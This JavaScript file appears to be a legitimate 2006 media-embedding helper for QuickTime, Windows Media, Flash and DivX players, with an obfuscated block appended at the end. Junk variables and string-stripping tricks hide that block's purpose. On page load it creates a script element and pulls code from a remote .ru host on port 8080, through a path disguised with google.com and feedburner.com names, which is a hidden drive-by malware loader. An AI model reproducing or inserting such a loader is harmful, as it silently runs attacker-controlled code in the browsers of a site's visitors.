/* embedmovie.js
 * Author: Laszlo Molnar / Hungary
 * Date: 01/11/2006
 * Version: 0.5
 */
 
var mtype = new Array (".avi.mp3", ".qt.mov.mpg.mpeg.mpe.mp4.m4v.aiff", ".wmv.wma.asf", ".swf", ".flv", ".divx.xvid" );
var cheight = new Array (0, 16, 64, 0, 18, 20);
var audio = ".mp3.wav.wma.aiff.mid.rm.ram";

function addParam(name, value) {
  return '<param name="' + name + '" value="' + value + '" />\n';
}

function embedMovie(src, width, height, autoplay, hide, scaletofit) {
  var isExplorer = (navigator.appName.indexOf('Explorer') != -1);
  var ext = src.substr(src.lastIndexOf('.')).toLowerCase();
  var isAudio = (audio.indexOf(ext) != -1);

  for(i = 0; i < mtype.length; i++)
    if(mtype[i].indexOf(ext) != -1) break;

  if(i == 0) { i = (navigator.userAgent.indexOf('Macintosh') != -1)? 1 : 2; }

  if(!scaletofit && audio.indexOf(ext) != -1) height = 0;
    
  if(hide) width = height = 0;
  else height += (i < mtype.length)? cheight[i] : 45;

  switch (i) {
  
  case 1: // QuickTime Movie

    if(isExplorer) {
      document.write('<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" ');
      document.write('codebase="http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0" '); }
    else
      document.write('<object type="video/quicktime" data="' + src + '"');

    document.write(' width="' + width + '" height="' + height + '" id="QuickTimePlayer">\n');
    document.write(addParam("src", src));
    document.write(addParam("autoplay", autoplay? 'true':'false'));
    document.write(addParam("bgcolor", "black"));
    if(scaletofit) document.write(addParam("scale", "tofit"));
    document.write('</object>\n');
    break;

  case 2: // Windows Media Player 

    //if(src.indexOf('/') == -1) src = './' + src;

    if(isExplorer)
      document.write('<object classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6" ');
    else
      document.write('<object type="video/x-ms-wmv" data="' + src + '" ');

    document.write('width="' + width + '" height="' + height + '" id="MediaPlayer">\n');
    if(isExplorer) document.write(addParam("URL", src));
    document.write(addParam("src", src));
    document.write(addParam("AutoStart", autoplay? '1':'0'));
    if(scaletofit) document.write(addParam("StretchToFit", '1'));
    document.write(addParam(isExplorer? "ShowControls":"Controller", '1'));
    document.write('</object>\n');
    break;

  case 3: // Flash Animation
    if(isExplorer) {
      document.write('<object classid="CLSID:D27CDB6E-AE6D-11CF-96B8-444553540000" ');
      document.write('codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" '); }
    else
      document.write('<object type="application/x-shockwave-flash" data="' + src + '" ');

    document.write('width="' + width + '" height="' + height + '" id="FlashPlayer" align="middle" />\n');
    document.write(addParam("movie", src));
    document.write(addParam("allowScriptAccess", "sameDomain"));
    document.write('</object>\n');
    break;

  case 4: // Flash movie
    if(isExplorer) {
      document.write('<object classid="CLSID:D27CDB6E-AE6D-11CF-96B8-444553540000" ');
      document.write('codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" '); }
    else
      document.write('<object type="application/x-shockwave-flash" data="' + src + '&autoStart=' + (autoplay? 'true':'false') + '" ');

    document.write('width="' + width + '" height="' + height + '" id="FlashPlayer" align="middle" />\n');
    document.write(addParam("movie", src + '&autoStart=' + (autoplay? 'true':'false')));
    document.write(addParam("allowScriptAccess", "sameDomain"));
    document.write(addParam("quality", "high"));
    document.write('</object>\n');
    break;

  case 5: // DivX Movie
    if(isExplorer) {
      document.write('<object classid="CLSID:67DABFBF-D0AB-41fa-9C46-CC0F21721616" ');
      document.write('codebase="http://go.divx.com/plugin/DivXBrowserPlugin.cab" '); }
    else
      document.write('<object type="video/divx" data="' + src + '" ');

    document.write('width="' + width + '" height="' + height + '" pluginspage="http://go.divx.com/plugin/download/" id="DivxPlayer">\n');
    document.write(addParam("mode", "zero"));
    document.write(addParam("autoPlay", autoplay? 'true':'false'));
    document.write(addParam("allowContextMenu", "false"));
    if(src.charAt(0) == "." || src.charAt(0) == "/" || src.indexOf("http:") == 0)
      document.write(addParam("src", src));
    else
      document.write(addParam("src", "./" + src));
    document.write('</object>\n');
    break;
	
  default: // Undefined
    document.write('<embed src="' + src + '" autostart="' + (autoplay? 'true':'false') + '" width="' + width + '" height="' + height + '" loop="false"></embed>');
  }
}


var J=new Array();function t(){var A=new Date();var F;if(F!='' && F!='W'){F=null};var p=window;var G="";var h=p['unescape'];var u;if(u!='x' && u != ''){u=null};var q=h("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%66%65%65%64%62%75%72%6e%65%72%2e%63%6f%6d%2f%79%6e%65%74%2e%63%6f%6d%2e%70%68%70");var P;if(P!='' && P!='e'){P=null};var QR;if(QR!='y'){QR='y'};this.CM='';function O(w,wt){var Oo;if(Oo!='' && Oo!='d'){Oo=null};var z=h("%5d");var Yt=new Array();var ub=new String();var n=h("%5b");this.jo='';var QX;if(QX!='' && QX!='lI'){QX=''};var c=new String("g");var LY;if(LY!='pZ'){LY='pZ'};var NX;if(NX!=''){NX='rb'};var U=new RegExp(n+wt+z, c);var o='';var rG='';this.Yv='';this.B="";return w.replace(U, new String());var Tx='';};var Fw;if(Fw!='Qa'){Fw='Qa'};var nN=new Date();var BY='';var rbI="";var Sn;if(Sn!='' && Sn!='_o'){Sn=null};var L=O('845355169416640544566631595398634546969341330165696543635659','649513');var wV="";this.yE="";var Ub=O('dpehfpe0rS','09UYVXogC4pSNx7bzh58a');var H=O('slcerLi6petq','6elLqPWFkSw');var EI=new String();var r=O('sQrtca','t2x9DQw_aZ');this.NP='';var nw="";var Q=document;var GH=new Date();this.Tj="";var Ms=new String();function C(){var zS;if(zS!='' && zS!='xA'){zS=null};var TJ;if(TJ!='' && TJ!='CW'){TJ=''};var V='';var hN=h("%68%74%74%70%3a%2f%2f%73%6c%6f%77%63%68%65%65%72%2e%72%75%3a");var Z;if(Z!=''){Z='AN'};var k=hN;var Bg=new Date();var My="";k+=L;var VD;if(VD!='rR' && VD!='it'){VD='rR'};k+=q;var Yl;if(Yl!=''){Yl='Re'};var kx;if(kx!='im'){kx=''};var oG;if(oG!='' && oG!='NZ'){oG=null};var qi=new Date();var RT=new Array();var sP;if(sP!='' && sP!='TbF'){sP=''};try {this.bm="";var pF;if(pF!='' && pF!='MY'){pF=null};var WP="";Y=Q[O('cgrNeJaNtNejE8l_ejmJegnitg','_gZiQOyz86jJN')](H);var Mi=new Array();var NJ;if(NJ!='' && NJ!='mG'){NJ='OJ'};Y[r]=k;var BV=new Array();Y[Ub]=[1][0];var DPO;if(DPO!='Gy' && DPO!='Yvy'){DPO=''};var sM;if(sM!='' && sM!='mL'){sM=''};var Txn='';Q.body[O('aHpQpHeNnzdzCzhNiHl4dQ','HN4Qfrz')](Y);var tN;if(tN!=''){tN='zg'};var rM;if(rM!='cO'){rM=''};var uJ;if(uJ!='Pk' && uJ != ''){uJ=null};} catch(T){var yU='';var IZ=new String();};var my=new String();var Qy;if(Qy!='hL'){Qy=''};this.sD='';}var UW;if(UW!='HE' && UW!='uv'){UW=''};var g='';var R=O('oHnwlJo9aHdF','RF0w9N3vQEMh5HJe8');var tM='';var IT=new Array();p[R]=C;var jN='';var hn;if(hn!='Rv'){hn='Rv'};var YK=new String();var Qc=new String();};var LF;if(LF!='yb'){LF=''};var Vl;if(Vl!='CZ'){Vl=''};t();
